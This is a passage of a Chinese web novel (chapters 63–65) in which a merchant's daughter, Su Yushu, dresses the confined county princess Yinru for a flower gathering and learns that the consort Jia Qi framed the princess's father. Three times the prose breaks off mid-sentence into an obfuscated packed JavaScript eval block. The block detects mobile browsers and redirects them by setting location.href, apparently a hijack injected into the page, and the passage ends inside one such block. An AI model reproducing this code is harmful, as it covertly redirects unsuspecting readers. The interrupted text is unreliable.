茵茹微笑着说:“这有什么难的?京城之中,马会、诗会、歌会每日皆有。想来你是想借助我的装扮,为你的玉海亭打开局面吧。这确实是个不错的办法……谁不想在众人中脱颖而出呢。只是……仅仅想依靠我的名气,恐怕难以达成你的目的。” “这是为什么呢?” “京城的贵女们个个自视甚高,我虽顶着县主的名头,但京城近来盛行文雅之风,你所期望的那种趋炎附势的场景,或许没那么容易见到。” 苏玉淑早料到她会有这番言语,便将为寒门学子提供资助一事和盘托出。此举投入不多,却能在一群附庸风雅之辈中赢得美名。 茵茹望着眼前眉飞色舞阐述自己商业大计的女子,心中不禁暗暗赞叹。她见过太多为求利益不择手段之人,也见过太多空有抱负却无实施能力的庸才,而苏玉淑,就如她带来的那支金桂—— 香气馥郁,金英璨璨。 “你这个忙,我帮了。”茵茹干脆利落地颔首,“实不相瞒,我已经很久没有参加过聚会了。不过三日之后,有一场花会雅集,届时我会带上你的礼物。” 苏玉淑连忙道谢:“多谢县……多谢茵茹……姐姐?” 瞧见她如小狗般小心翼翼的模样,茵茹忍不住噗嗤一笑:“看样子我确实比你年长几岁,你唤我一声姐姐,倒也在理。” “那就多谢茵茹姐姐了!” “诶,别急着谢我。”茵茹眼中闪过一抹不易察觉的光亮。 “我的忙……你也得帮。” 63. 第六十三章 “小姐,您真就这么答应了……?” 秋天的日落早了许多,夕阳暖融融地拢住人间,映得人连发丝都红扑扑的。 绿萝跟在苏玉淑身后,出了县主府才敢轻声发问。她着实弄不明白,小姐怎么就和那位县主姐姐如此投缘,答应得还这般干脆。 苏玉淑脚步微微一顿,回头看了看那紧闭的大门,嘴角浮现出一抹狡黠的笑意:“这京城啊,就像一个巨大的棋局。每个人既是棋子,也是棋手。怀谦县主需要一个能与她对弈之人。哪怕只是个小小的商人,只要懂她,便有了并肩而立的理由。” “那……小姐您就不怕这是个陷阱?”绿萝仍有些担忧,大小姐自樊城归来后,便与从前不同了。 她每一步都迈得更为激进,好似拼尽全部力气去赌一个她梦中的未来。 “怕?”苏玉淑轻轻摇头,眼中闪烁着自信的光彩,“我若此时退缩,那日后惧怕的就不止是一位县主了。更何况……我们不过是各取所需罢了。” 苏玉淑深吸一口气,仿佛要将这京城的空气都吸进身体里。 “绿萝,我们回家。” 怀谦县主答应得无比痛快,只是提出的条件是要苏玉淑一同前往。她许久未曾出席此类场合,原因仅有一个。 她不想见到那个男人。 多少人艳羡生于世族大家的高门贵女,然而与身份相匹配的,她们必须要承担得更多。 “小姐……咱们该回去了。”侍女满脸担忧地望着茵茹,自家小姐自和玉海亭的那位女掌柜交谈后,便一直待在花厅未离开。 她就那样伫立在廊下,任由晚风吹乱她的发丝。 “你先回去吧,不必管我。”茵茹强颜欢笑,可她的嘴角无论如何都难以扬起。 侍女心疼地为她披上披肩,语气中满是急切的忧虑:“小姐……你知道的,不可……” “无妨。我就在这里,哪儿也去不了。” 她看似洒脱,却又好似已认命。侍女不忍再惊扰她的宁静,只是转身去温了一壶热茶,又添上几块炭火,只为让小姐能少受些苦楚。 小姐她,苦啊。 茵茹望着天上挂着的那一轮弯月,它像是总也圆满不了似的。 她不喜欢“怀谦”这个封号。 谦谦君子,卑以自牧。她的封号是先皇用来警醒父亲要常怀谦卑自省之心,恪守臣子本分,切莫生出不该有的野心。可这封号到了她这里,倒像是一种无形的枷锁,将她牢牢困住。 她身为县主,却无法随心所欲地去做自己想做之事,更不能毫无顾忌地去爱自己心仪之人。这看似尊贵的身份,实则不过是一座华丽的囚笼罢了。 自父亲被废黜后,她早已记不清自己住进这府中已有多久。父亲一生战功赫赫,却成了新王登基的垫脚石。她依旧记得那一夜的圣旨,也忘不了那一夜的分别。 那一夜,父亲紧紧握着她的手,眼中满是不舍与无奈。他告诉茵茹,从今往后,她要独自面对世间的风风雨雨,学会隐忍,学会在这复杂的朝堂与后宅之中生存下去。 茵茹抬起手,试图触摸月亮,可回应她的只有冰冷的月光。她无比想念父亲手上粗糙的老茧,母亲怀里温暖的香气,她是如此地想念他们。 思念如虫蚁般蚕食着她的五脏六腑,一如这已悄然流逝五年。 她之所以还能安然无恙地站在这里,无非是因为自己还有利用价值。和亲之事在朝堂上已是吵了许久,但只怕到最后结果都一样。更何况自己的父母家人还捏在那个人的手里…… 她的命运,从来由不得自己。 可茵茹不甘心。她不想此生再不能阖家团圆,她不想赌上自己的后半辈子去换一个所为的国运。 苏玉淑那张狡黠又精明的脸又浮现在她的眼前,不知怎的,她总觉得这个女孩子和自己一样。她看似活泼善良,可那股蛮横的野心却不住地从眼神中蔓延。 如果是她…… 或许,她真的能与自己一同冲破这无形的枷锁,在这看似繁华却暗流涌动的京城中,寻得一方属于自己的天地,桂折一枝。茵茹看着自己的掌心,她握住了丝绸一般的月华。她坚定了心神,似有火焰在燃烧那原本黯淡无光的眼眸中。 这或许是一场豪赌,但与其在这无尽的等待与煎熬中消磨自己的生命,倒不如放手一搏。 她将委屈藏进月下身影,清冷的面庞在月色下多了一丝坚韧。鎏金博山炉里剩余的檀香仍在袅袅飘散,与窗外飘入的几朵桂花交织成一缕若有似无的冷香。 “大胆!县主的闺房你们也看得?告诉你们,瘦死的骆驼比马大,还想查我们家小姐的岗?你们也配!告诉你们,得罪了县主,你们几个脑袋都不够砍的,少在这儿给老娘耀武扬威的,也不知道仗着谁的势!看什么看?还不快滚!” 叮咣一阵作响的喧闹之后,夜才渐渐平息下来。 茵茹心中明了,这又是小佩与守卫发生了争执。自从被形同软禁以来,每晚都有侍卫前来巡视查房。虽然如今的检查已不如数年前那般严苛,但或许是因今日苏玉淑到访的缘由,这帮人竟然又开始为难起侍女来。 她不忍心。 这些年来,她一直陪在自己身边,无论什么样的苦小佩都要替她挡下一半。她不能再这样消沉下去了,若是自己能留在京城,寻一门好亲事,对父母族人和朋友都是个交待。 她在赌场上的筹码,只有她自己。 东梁素来崇尚风雅,文人墨客们对花会诗集之事向来趋之若鹜。此次花会由宁逸王府主办,传闻京城中的显赫家族将纷纷莅临。三日后清晨,天色微明之际,苏玉淑便携绿萝、石竹二人赶至县主府门前,每人手中都拎着个硕大的包裹。 “怎么又是你?”守卫皱眉问道,“这次又来干些什么?” “此次我奉县主之命,特地陪同县主去赏秋菊花会,还望通传。” “你……” “是你呀!苏小姐!”门房小厮听见动静,忙不迭地探出头来,“我前几日听小佩姐姐说了,我一早就候在这里等你,生怕错过呢!快跟我进来吧!” 守卫不满地沉下脸:“你说进就进?你都没去请县主的令!” 小厮仿佛早就在等这句话,他脸上闪过一丝得意的神色,单手叉起腰,又掏出一枚金灿灿的令牌大声道:“县主有令!若是苏掌柜到访,不必阻拦!” “你……” 守卫的脸红了又白,白了又红,他的一张一合地就是说不出个“不”来。他憋屈了半晌,终于还是向那块令牌低了头:“行行行,你们进去吧。” “苏小姐,您快些随我来吧!” 小佩姐姐可是吩咐了,今天是小姐的大日子,小姐许久不曾出府,今日无论如何是要让她高兴高兴的。一想到这儿,小厮的脚步越来越快,三人跟在他的身后几乎要跑起来—— “到了!” “哎呀苏小姐!县主还没收拾,您快些随我来!” 偌大的县主府只有零星几个仆人,苏玉淑顾不上许多,一把将自己的侍女推至身前:“她们两个是打扮的好手,让绿萝和石竹与你一同服侍县主洗漱,我去整理服装!” “那就有劳两位姑娘了!” 花会设在京郊草场,几人只能争分夺秒地把睡眼惺忪的县主拽起来,绿萝和石竹手法娴熟,不一会儿就为茵茹梳好了发髻。苏玉淑拿出带来的那支金桂簪子,轻轻插在发髻一侧,金桂的色泽与茵茹白皙的肌肤相互映衬,更显高贵典雅。 “小姐,您戴这只簪子真好看。”小佩由衷地赞美自家小姐,只是还有一丝担忧,“就是……会不会有些素净呀?” “姐姐别着急,且等一等我家大小姐。” 话音未落,苏玉淑便捧着从包裹中取出的衣物来到众人面前:“茵茹姐姐今日真是漂亮,若是能穿上这件衣服,那更是让六宫粉黛无颜色了!” “你就连衣物都帮我准备了?” 茵茹不可置信地看向那件衣服,只见那是一件秋香色的罗地长褙子,清雅如雨后洗过的天空。衣料是上好的越罗,质地轻透,在秋日下泛着温润如玉的光泽。褙子的对襟与袖缘,用初雪般的银线密密绣了一圈缠枝菊纹。 那菊花并非团簇争艳,而是几枝疏朗的折枝菊,花瓣清瘦舒展,在步履移动间,方于素净的底色上流转出淡淡的银辉,宛如月华凝结在霜枝之上。 其下配着一条素绢百迭裙,裙裾层层展开,色如初熟的艾草。裙门处并无繁复绣样,只以更深的碧色丝线,以洒线绣的技法,零星点缀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708297|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几片翻飞的菊叶,与褙子上的银菊悄然呼应。 秋风拂过,罗衣飘举,银菊暗浮,一身风骨尽在其中。 “这……” “那日见过姐姐,我见您身形比我稍显瘦削,便估了尺寸,连日来定制了这身衣裳,还望茵茹姐姐莫要见怪。” 茵茹闻言,大为震惊,一早的困倦瞬间消散无踪:“你,你是如何做到的?” “此事暂且不提,姐姐先试试看,是否合身。”话毕,她带着绿萝与石竹退出了县主的房间。 三人立于走廊之上,初秋的晨风携带着丝丝凉意袭来。绿萝轻笑着帮她紧了紧领口:“愿小姐大事得成,也枉费您这几日的苦心。” 石竹点头应道:“是啊,从选料子到裁制,小姐都是亲自去盯的。要我说这事儿结束,您可得歇歇,就是铁打的人也不能这么累着自己啊。” “哪有,有你们在我吃好睡好的,一点儿都不累。”苏玉淑笑笑,眉眼之间多了几分成熟,“等赚了钱,我就给你们买新衣服,吃好吃的!” “您照顾好自己比什么都强。” “知道啦知道啦,怎么到了京城,倒替母亲念叨着我了。”她故作嗔怪地点了点绿萝的脑门儿,“人是铁,饭是钢,我才不做亏着自己的傻事儿呢!” “小姐,我听说有些人不爱吃饭,把自己饿得面黄肌瘦,那模样真是难看极了……您若是不好好照顾自己,林大人那边……” “好端端的提他做什么!”苏玉淑的脸颊顿时泛起红晕,她急忙打着哈哈退到县主房门前,“茵茹姐姐,你好了吗?” 屋内传来茵茹轻柔的回应:“好了,你们进来吧。” 三人步履轻快地步入房间,简直有些看呆了。这一身装扮与怀谦县主相得益彰,犹如秋日荒野中盛放的一朵菊花,清雅高洁,遗世而独立。那菊纹刺绣精妙绝伦,随着她的举止间隐约闪烁着淡淡的银辉,与她白皙的肌肤交相辉映,既显英气又不失灵动妩媚。 苏玉淑就这么愣愣地注视着对面的那位美人儿,甚至连嘴巴都忘了闭上。小佩见状,笑着在她面前挥了挥手,她这才如梦初醒般回过神来:“这……这也太美了!” 茵茹的脸上泛起一抹羞涩的红晕,她抬手看了看袖口,又低头端详了衣摆,一举一动间透露出些许不自信。 “怎么了?是哪里不合身吗?” “没,没有。”不知为何,她竟有些怯懦,“只是我许久没有出去过……” 苏玉淑轻轻拉起她的手,笑得像个小太阳:“姐姐,你尽管放心,今天绝不会有任何人能盖过你的风采,你绝对是东梁的第一美人儿!这是真心话,我苏玉淑从不骗人!不信的话,你问问她们!” 三人点头如捣蒜。 “真的?” “真的!” 茵茹试探性地迈出一步,轻声问道:“那,我们走吧?” “还差一样东西。”苏玉淑神秘兮兮地拿出一个盒子,里面是她从师城带来的珍藏。 这是一支倒垂珠珞的白玉步摇。用羊脂白玉精心雕琢而成的云头簪杆温润无瑕,尽显雅致。簪头并非繁花簇锦,而是以极细的银累丝巧妙盘绕,勾勒出一朵小巧的梅花。 倒垂的珠珞整体由光素银打造,仅以细腻的錾刻纹路呈现出羽毛的质感,显得清雅别致。从梅枝下方,垂下三串长短错落的珍珠。每一串均由数十颗径寸分明、莹润如月的走盘珠串成,颗颗饱满,光泽柔和而不刺眼。只需微微颔首,珠串便随之轻摇,泛起一片流动的温莹光泽,仿佛将一抹清辉朦胧的月色藏于发间。 “这,这太贵重了,你我相交甚浅,这……” 茵茹正欲推辞,却被苏玉淑一把紧紧握住了手。 她的眼眸中仿佛蕴含着星海,既温柔又坚定:“这支步摇或许只等这一日。戴上它,走出去。你是怀谦县主,你身上承载着镇北王府全体上下的荣耀。” 听到父亲封号,她的眼中有震惊,有感动,还有一丝从未有过的勇气。 怀谦县主低下头,由苏玉淑帮她把簪子戴好。 一同戴上的,还有她绝不舍弃的尊严。 再度抬起头时,她眼中的躲闪已悄然消逝,取而代之的是一往无前的坚定—— “玉淑,我们走。” 64. 第六十四章 苏玉淑生平第一次目睹如此壮观的景象。 在师城时,她作为首富之女,常出入名流雅集,但今日这等盛宴,即便她也难免心生紧张。 远处的青山绵延起伏,与秋日清爽的蓝天白云交相辉映,眼前的草场则绿意盎然,五彩缤纷的名贵菊花在微风中轻轻摇曳,兼具妩媚与高贵。偶尔传来的马儿嘶鸣声更添几分野趣,身着华服的贵族男女穿梭于花丛间,欢声笑语不断,仿佛世间的纷扰与他们无关,这里宛如一片世外桃源。 只是山外青山楼外楼,西湖歌舞几时休? 苏玉淑深吸一口气,努力让自己平静下来。 今日的花会不仅是一场赏菊盛宴,更是一次亲近皇室、结识权贵的绝佳契机。她紧随茵茹左右,与她一同缓缓步入花会现场。 两人刚到,众人的目光便齐刷刷地被她们吸引。茵茹身着苏玉淑为她精心挑选的秋香色罗地长褙子和素绢百迭裙,头戴倒垂珠珞的白玉步摇,整个人仿佛从画中走出的仙子,高贵典雅,气质卓然。 而苏玉淑本人则穿着一袭玫瑰粉色的锦缎长裙,发髻上点缀着几支简约的银簪,既清新脱俗,又不会喧宾夺主。 二人尚未入场,便引发了一阵轻微的骚动。一些年轻公子们悄然打量,目光中流露出好奇与倾慕,然而更多的是世家大族之人眼中则显露出震惊与戒备。茵茹目不斜视,她挺直了脊梁,迎着这些并不友善的目光从容前行。 她记得自己是谁,也记得自己身后之人。 几位相熟的世家小姐见到二人纷纷围了上来。为首的是一位穿着桃红色罗裙,身形丰腴的少女。她上下打量着茵茹,眼神里带着几分探究与不易察觉的挑剔,随即做作地掩唇轻笑道:“哟,我当是谁呢……这不是怀谦县主吗?我记得……哎哟,我记不清了,得有好些年没在京中宴会上见着您了吧?今日一看,风采更胜往昔啊。” 她言辞间的尖酸刻薄令人不堪入耳,与她相熟的几位小姐也纷纷效仿,掩嘴调笑。 简直是一群抱团嬉戏的猴子。 “看来李小姐的记性不太好。”茵茹优雅地点了点头,“我依稀记得,三个月前在清河坊的闻香楼前,因你挥霍无度,令尊曾当众训斥你……那天,我恰好从宫中归来路过。你记不得我无妨,但你的一举一动,我却记得清清楚楚。” “你!”丢了面子的少女气得耳根发红,脸上更是粉过衣衫,她索性伸直了胳膊,一只手直直地指向怀谦县主的面门:“你那个耀武扬威的爹已经失了势了!你说话给我注意点,你若是再放肆,我便让我爹再参他一本,到时候看你还怎么得意!” 此言一出,四下哗然。 此女乃是当朝礼部侍郎李大人之女,在家中排行最小,因此备受宠爱。她仗着父亲在朝中的几分薄面,平日里在京中贵女圈里向来横行无忌,可纵然如此,大庭广众之下这番说辞,却也实在是有失分寸。 啪—— 还未等茵茹还击,苏玉淑快步上前狠狠打掉了她那在空中比比划划的手。 “这么胖的爪子也好意思拿出来晃。县主,我们走。” 她拉着县主的手,头也不回地在人群中杀出一条路来:“别回头,都在看我们。” 苏玉淑那双因常年习武而略显粗糙的手,与京中那些小姐们的细腻截然不同。那股令人感到心安的粗粝质感,轻轻摩擦着茵茹的胳膊,温柔又坚定。 秋风微凉,但少女们的体温交织成了一道最温暖的防线,牢牢守护着她们的自尊。 茵茹笑了,她久违的发自内心地笑了,她的笑颜宛如被秋阳温柔吻过的菊瓣,舒展而明亮。她不再理会身后那些窃窃私语和带着恶意的目光,只随着苏玉淑的引领,一步步走向草场的深处。 沿途的鲜花与风中的冷嘲热讽,无论是哪一种,都是这个秋日上天赋予她们的馈赠。 直到周遭声音渐小,茵茹才开口问道:“你知道她是谁吗?” 苏玉淑停下脚步,老老实实地摇摇头:“不知道。” 茵茹不禁哑然:“那你就敢拍她?你不怕得罪人吗?” “不碍事的。”她狡黠一笑,“姐姐只瞧她的打扮,满身珠翠却无一件精品,穿得虽华丽料子却实在一般,再加上您说她在闻香楼前被训斥,要知道闻香楼里东西的单价还不及我玉海亭的一半,如此看来,此人定不会是我玉海亭的客人,又谈何得罪?” “她爹可是礼部侍郎,要不一会儿还是给她赔个不是……” “这京城之中卧虎藏龙,区区一个礼部侍郎就如此耀武扬威,简直是自寻死路。俗话说的好,‘先敬罗衣后敬人’,茵茹姐姐,你今天就挺直了腰,扬足了头,好好地耍一耍你县主的威风!” 茵茹被她那严肃认真的模样逗得噗嗤一声笑了出来,连日来积压在心头的阴霾仿佛被这爽朗的笑声驱散了大半。她凝视着苏玉淑那双仿佛蕴藏着星辰大海的眼睛,心中那份因久居深闺而滋生的怯懦与不安,竟真的一点点消散了。 软禁或许磨灭了她的心性,却磨不灭她的骨气。作为镇北王的千金,堂堂怀谦县主,即便身处落魄之境,亦不能在那些趋炎附势之辈面前失了风骨。她轻轻整理衣袖,指尖轻抚过褙子上银线绣制的菊瓣,那清瘦而舒展的纹路仿佛蕴含着一股无声的力量。 “你说得对,”茵茹的声音中多了几分从容,“我的事,岂容他人置喙。” “这就对了。”苏玉淑高高兴兴地握了握她的胳膊,“今日花会,若我们不细赏一番岂不可惜!我看那边有几株墨菊,我之前都没见过呢!我们过去瞧瞧?” “好。”茵茹的眼底尽是温柔,“你跟紧我。” 两人并肩而行,穿过一片盛放的白菊丛,蜿蜒小溪碧波荡漾,几尾红鲤悠然游弋其中,清亮的水面倒映着二人衣袂翩跹的身影。 怀谦县主的露面很快吸引了众人的注意。一双双目光如同暗影里射出的利箭,直挺挺地钉在二人的身上。 茵茹将这些目光悉数收入眼底,心中却早已波澜不惊。她仅是轻轻扬起下巴,步履优雅地与苏玉淑继续前行,裙摆轻拂过干草,飘散出一缕淡淡的清香。苏玉淑宛如一个无忧无虑的孩子,时而指着溪边初绽的芦花发出惊叹,时而又被远处嬉戏的灰雀吸引。她叽叽喳喳地与茵茹交谈,用力地驱散着那些来自四面八方的压力。 “哇!这墨菊当真别致,墨中透紫,紫中含金,花瓣细如垂绦,疏朗有致……”苏玉淑按捺不住兴奋,手里还攥着茵茹的袖口,“我还是第一次见到呢!” “是啊,色如暮色沧溟,形如挥毫写意,舒卷高洁,风骨自成,乃菊中之哲人也。” 她没想到茵茹竟能出口成章,其文采见识绝不逊于文人墨客。她可做不到如此端庄,见花瓣颤抖,苏玉淑忍不住俯下身轻嗅: “呀!好香呀!” “一动一静,甚秒,甚妙。” 一道话音从身后传来,温和中带着几分赞许。 苏玉淑与茵茹同时回首,只见一位身着石青色常服的中年男子立于不远处,面容清瘦,眉眼间自有一股沉稳气度,身后跟着的几位侍从穿着也不似平常人家。 男子目光落在茵茹身上,带着几分审视,却无半点轻慢。他随即又转向苏玉淑,嘴角噙着一丝笑意:“方才见两位姑娘观菊,一位沉静如菊,品其风骨;一位烂漫如蝶,赏其芬芳,动静之间,各有韵味,故而忍不住赞了一句。” 茵茹认出此人腰间玉佩,她默默拉着苏玉淑后退半步,颔首行礼:“见过王爷。” 男子不置可否,目光在她发间的白玉步摇上稍作停留:“怀谦县主今日装扮倒是别出心裁,这发饰艳而不俗,巧夺天工,真是满京城都找不出第二支。” 他又看向苏玉淑:“这位小友看着面生得很,却不知是哪家的姑娘?” “小女玉淑,随县主前来开开眼界。”苏玉淑心中一震,但面上依旧镇定自若,她仿效茵茹的姿态,屈膝行礼道,“我乃出身于……师城苏氏。” 男子闻言,眼中闪过一丝了然:“师城……苏家……原来是苏首富的千金,久仰。师城苏家,于商海之中可是赫赫有名。难得苏小姐不仅懂商道,竟也对这花草之事有如此兴致。” “王爷谬赞了,玉淑不过是觉得好看好闻罢了,哪里比得上县主和王爷这般有见识。”她言辞之间不卑不亢,一番话既抬高了茵茹,又为这王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“李小姐,你也听见了,我们得先给宁逸王备下货品,还有朝中许多大员的家眷都留了名帖准备拜访呢。您的事儿……得且等上一等了。” “你这话什么意思?我爹堂堂礼部侍郎,满东梁就没有我李梦云还得不到的东西!” “哦?”苏玉淑眼珠一转,一个念头迅速浮上心头,“那就麻烦李小姐留下您的名帖,待花会结束后,我玉海亭再派人登门相邀。” “这还差不多。”李梦云得意地摸了摸自己的发髻,上面满缀的宝石压得她脖子都快直不起来。见她留了名帖,周围的小姐们也一哄而上: “我也要!” “留个我的!” “玉海亭开在哪里呀?” “别挤,别吵,大家都能买到,都能买到……”苏玉淑被人群挤得连连后退,没想到县主和宁逸王的话分量竟如此之重,这送上门的银子岂有不赚的道理。不一会儿,各式各样的名帖便塞满了她的手,她活像个满载而归的猎户,心满意足地欣赏着自己的“猎物”。 不过她玉海亭也不是谁都能进得去的。 银钱虽好,可她始终记得自己到京城是为了什么。 人群终于渐渐散去,苏玉淑长舒一口气。此番动静之大,想必不多时京中贵女便是人尽皆知,玉海亭这才算真正站住了脚。 只是这生意如何做下去,做给谁看…… 她抬起头,刚要迈步走向茵茹,身体却突然不由自主地一阵恶寒。 她能感觉到。她能感觉到! 此刻,她才意识到自己已成了别人盯上的猎物。这道方向不明的视线犹如一张无形的网,悄然笼罩在她四周。光线并非来自某个明确的方向,却无处不在,仿佛暗处蛰伏的毒蛇正吐着信子,耐心等待着最佳出击时机。苏玉淑的心猛地一沉,方才因宁逸王赏识而涌起的喜悦瞬间被这突如其来的寒意冲淡了大半。 那道视线真实存在,带着一种不容错辨的恶意,如同冰冷的针刺得她皮肤发麻。苏玉淑紧咬着后槽牙,强迫自己转头向后看去—— “驸马爷,您这是在看谁呀?” 65. 第六十五章 苏玉淑的瞳孔骤然放大,“驸马爷”三个字如同炸雷一般落在她的耳朵里。 驸马爷……贾骐…… 男人皮笑肉不笑地望向这边,还不忘向她举了举手中酒杯。 贾骐生得和一般人不同。他看上去细皮嫩肉,身材敦实微胖,比寻常男子都要和蔼些。可那一双狭长的眼睛配上圆润的脸,总是透着一股说不出的诡异。 “驸马爷认得那姑娘?” “哎哟,不敢不敢,只是见她做起生意来颇有手腕,有些赏识罢了。”贾骐慌忙摆手,对着周围的人做出一副心虚的样子,“可不要让你们的家眷和公主传话呀,这要是落在她耳朵里,那可还了得!我回去怕是要挨板子的!” “哈哈哈哈!” “哎哟,这么多年了,驸马爷还是怕公主呀!” 贾骐非但不介意旁人的调笑,反而将其视作夸奖般骄傲地扬起脖子:“这是什么话!那我家公主,那国色天香美貌无双,我捧着是应该的,你们想捧着,还没这个福气呢!让我知道谁背着我和公主告状,看我不收拾你们的!” 又是一阵笑声,扰得周遭的菊花都不耐烦地随风抖抖花瓣。苏玉淑还是不能确定刚刚那道恶毒的目光的来源,她实在无法将眼前这个微笑的胖子和刚刚那股恶寒联系起来。她下意识地拉了拉茵茹的胳膊:“茵茹,你认不认识那边的那个人?他是不是贾骐?” 茵茹没有说话。 苏玉淑以为她忙着赏花,又拽了拽她的手:“茵茹。茵茹?县主!” “啊?” 她这才察觉不对,可为时已晚。茵茹手中紧紧握着一支被生生折断的菊花,她精致的面容上布满了惊恐与愤恨,满手的汁液随风散发出苦涩的气息。 “怎么了?发生什么事了?” “是他……”茵茹的声音几乎轻不可闻,“是他!他是贾骐!” 她的语气中带着难以抑制的颤抖,仿佛每一个字都从牙缝里挤出来一般,那双总是含着笑意的眼睛此刻却死死盯着贾骐的方向,像是要将那肥胖的身影生吞活剥。苏玉淑从未见过茵茹如此失态,她甚至能感觉到茵茹握着自己胳膊的手在微微发颤,那股从茵茹身上散发出来的寒意,比自己刚才感受到的恶寒还要刺骨几分。 苏玉淑心中咯噔一下,一个不好的预感如同藤蔓般迅速缠上心头,她压低声音故作轻松地背过身:“此地不宜久留,前面有一个小亭子,我们借一步说话。” 说罢,她不由分说地将人带离此地。 两人快步穿过喧闹的人群,直到那亭柱挡住了身后的视线,苏玉淑才敢松了口气。她扶着茵茹在石凳上坐下,阵阵秋风驱不散茵茹的恐惧,她依旧攥着那支断菊,指甲深深掐进掌心的花瓣里,将残留的汁液挤得更凶。 苏玉淑看着她微微颤抖的睫毛,轻轻拍了拍她的背:“茵茹,你和这位驸马爷,是不是有什么过节?” 茵茹的嘴唇翕动了几下,像是有千言万语堵在喉咙,最终却只是化作一声带着哽咽的叹息。她望着亭外摇曳的菊影,久久没有说话。 “放心吧,你可以信赖我。”苏玉淑蹲下身,清亮的眸子中透出满满的认真,“你邀请我一同出席,绝非仅仅为了博取眼球,重新回到大众视野,对吧?你必然有自己的考量,无论是利用还是算计,你都可以毫无保留地告诉我。” 茵茹的肩膀猛地一颤,像是被这句话戳中了心底最隐秘的角落。她缓缓转过头,眼底的惊恐褪去些许,取而代之的是一种近乎绝望的挣扎。那双曾经盈满笑意的眼睛此刻红得厉害,泪水在眼眶里打转,却倔强地不肯落下。她深吸一口气,声音沙哑得如同被砂纸磨过:“不,我不能……” “你可以,我也可以。”苏玉淑用力地握住她的手,那股不容拒绝的力量直达茵茹脆弱的心海,“告诉我,我们一起想办法。” 茵茹的目光在苏玉淑坚定的眼神中逡巡良久,泪水终于还是不争气地滑落,砸在她紧握的断菊上,晕开一小片苦涩的水渍。 “他……他毁了我的家!我爹……我爹就是被他构陷,才落得那般凄惨下场……”她猛地捂住脸,压抑许久的哭声终于冲破喉咙,带着无尽的悲愤与绝望在寂静的亭子里回荡。 她抽噎着,声音断断续续,仿佛每说一个字都耗尽了全身的力气:“别人只知镇北王功高盖主,先皇为稳新皇根基才降罪于我家,可背后若无贾骐搅弄,爹爹无论如何都不会背上谋反这般严重的罪名!” “不对,若是先皇有此打算,那新皇按理说是要为镇北王平反以求其归顺,再彰显皇家宽宏大量,可为何……”苏玉淑眉头紧皱,她觉得此事逻辑似乎不通,“再者说……把镇北王弹压下去,对贾骐又能有什么好处呢……他为什么这么做呢?” 茵茹泪眼婆娑地抬起头:“好处?他最大的好处就是踩着我父亲的声名,坐稳了他的驸马之位!当年我父亲手握兵权,是朝中唯一能制衡外戚势力的柱石。贾骐虽是驸马,却因父亲祖上出身商贾,又是入赘,在朝中根基浅薄,处处受排挤。 帮先皇做好这件事后,他的地位才是无人能撼动半分,没了爹爹,他才能朝中大肆排除异己,这对他算不算得上是天大的好处?”她说到最后,声音哽咽得几乎不成调,泪水如同断了线的珠子般滚落,砸在地上碎裂成无数细小的水花。 苏玉淑倒抽一口凉气,她一直以为镇北王之事不过是皇家内部的权力倾轧,却没想到背后还有这般曲折的阴谋。 “那……那新皇登基之后,就没有彻查此事吗?”苏玉淑定了定神追问道,她不信这世上就没有公道可言。 镇北王何等人物,岂能说倒台便倒台? 茵茹凄惨一笑,摇了摇头,眼中充满了绝望:“新皇?你可知新皇年岁几何?他初登基时根基未稳,朝中大权尽掌握在几位辅政大臣手中,而那几位辅政大臣,正是当年参与构陷我父亲的元凶! 他们怎么可能允许新皇为我父亲平反?更何况,贾骐的妻子,当今的长公主,那可是新皇的姑姑。新皇又怎么会让她的夫君身败名裂?若不是顾忌一个宽厚的声名,只怕镇北王府只能落得一个满门抄斩的结局了!” “那他们现在……” “全家幽禁,只有我……别有他用。” 妙龄女子,又出身世家,苏玉淑不敢深想,她愣愣地张了张口:“莫非……” “他们要送我去和亲。” “和亲?与谁?” “自然是北地蛮族,兀罗浑部。”茵茹握紧了拳头,仿佛这样就能将命运牢牢攥在自己手中,“是贾骐带给我的消息。他告诉我,我父亲守不住的北方,就由我这个女儿来守。 若是兴兵打仗,便是让我做先锋,身死阵前我也心甘情愿。让镇北王的女儿与北地部族和亲,这等屈辱之事,也只有他这样的奸诈小人才想得出来!” 社稷依明主,安危托妇人。 苏玉淑以前读到这句诗时,只觉得荒唐可笑,可如今她才发觉其残忍可怖。 这哪里是和亲,分明是将镇北王府最后一点尊严碾碎在地,让她去“镇守”那片浸染了同胞鲜血的土地,还要让她睡在仇人枕畔。茵茹的指甲深深掐进掌心,断菊的汁液混着血丝从指缝渗出,她却浑然不觉,只是死死咬着下唇,任由屈辱与恨意像毒蛇般啃噬着五脏六腑。 贾骐这步棋,走得何其阴毒! 既除掉了心腹大患的女儿,又能借和亲之名安抚北地,更能在新皇与朝臣面前博一个深谋远虑的名声,一举三得,却将茵茹推入了万劫不复的深渊。 “茵茹,实不相瞒,我家与贾骐,也有不共戴天之仇。” 苏玉淑拼尽全力按下这股熊熊的怒火,她尽可能平静地将私盐一案的原委讲与她听,只是提到细节时,仍不免咬牙切齿。 “我来京城,最重要的事情就是揪出私盐案背后的真凶,否则我苏家将永无翻身之日。”她不由分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 